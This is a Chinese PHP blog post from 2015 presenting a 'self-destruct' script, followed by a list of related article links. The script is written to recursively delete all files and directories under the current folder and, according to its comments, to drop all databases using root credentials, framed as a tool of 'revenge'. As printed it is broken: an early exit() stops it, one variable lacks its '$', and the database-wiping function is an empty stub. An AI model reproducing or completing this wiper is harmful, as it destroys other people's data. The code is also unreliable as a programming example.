PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP 读取和修改大文件的某行内容的代码
Oct 30 PHP
pdo中使用参数化查询sql
Aug 11 PHP
PHP无限分类(树形类)的深入分析
Jun 02 PHP
PHP开发框架kohana中处理ajax请求的例子
Jul 14 PHP
php清空(删除)指定目录下的文件,不删除目录文件夹的实现代码
Sep 04 PHP
CI框架学习笔记(二) -入口文件index.php
Oct 27 PHP
php给每个段落添加空格的方法
Mar 20 PHP
Laravel 5框架学习之表单验证
Apr 08 PHP
PHP多态代码实例
Jun 26 PHP
php 命名空间(namespace)原理与用法实例小结
Nov 13 PHP
tp5.1 框架查询表达式用法详解
May 25 PHP
tp5.1 框架数据库常见操作详解【添加、删除、更新、查询】
May 26 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
MySql 按时间段查询数据方法(实例说明)
2008/11/02 PHP
PHP随机生成随机个数的字母组合示例
2014/01/14 PHP
一个PHP二维数组排序的函数分享
2014/01/17 PHP
php+ajax实时输入自动搜索匹配的方法
2014/12/26 PHP
Yii实现自动加载类地图的方法
2015/04/01 PHP
PHP-X系列教程之内置函数的使用示例
2017/10/16 PHP
PHP pthreads v3使用中的一些坑和注意点分析
2020/02/21 PHP
gearman中worker常驻后台,导致MySQL server has gone away的解决方法
2020/02/27 PHP
使用git迁移Laravel项目至新开发环境的步骤详解
2020/04/06 PHP
自动更新作用
2006/10/08 Javascript
javascript调试说明
2010/06/07 Javascript
使用JavaScript动态设置样式实现代码(2)
2013/01/25 Javascript
100个不能错过的实用JS自定义函数
2014/03/05 Javascript
一个仿糯米弹框效果demo
2014/07/22 Javascript
JavaScript采用递归算法计算阶乘实例
2015/08/04 Javascript
js实现网页抽奖实例
2015/08/05 Javascript
JS碰撞运动实现方法详解
2016/12/15 Javascript
JavaScript实现公历转农历功能示例
2017/02/13 Javascript
关于vue-resource报错450的解决方案
2017/07/24 Javascript
vue2.0的contextmenu右键弹出菜单的实例代码
2017/07/24 Javascript
JS中的事件委托实例浅析
2018/03/22 Javascript
关于jquery layui弹出层的使用方法
2018/04/21 jQuery
react-router 路由切换动画的实现示例
2018/12/03 Javascript
构建Python包的五个简单准则简介
2015/06/15 Python
简单了解Python下用于监视文件系统的pyinotify包
2015/11/13 Python
KMP算法精解及其Python版的代码示例
2016/06/01 Python
python GUI库图形界面开发之PyQt5结合Qt Designer创建信号与槽的详细方法与实例
2020/03/08 Python
美国存储和组织商店:The Container Store
2017/08/16 全球购物
英国女鞋购物网站:Moda in Pelle
2019/02/18 全球购物
在子网210.27.48.21/30种有多少个可用地址?分别是什么?
2014/07/27 面试题
爱情检讨书大全
2014/01/21 职场文书
写自荐信三大法宝
2014/01/24 职场文书
大学生就业求职信
2014/06/12 职场文书
聋哑人盗窃罪辩护词
2015/05/21 职场文书
入党宣誓仪式主持词
2015/06/29 职场文书
springboot中一些比较常用的注解总结
2021/06/11 Java/Android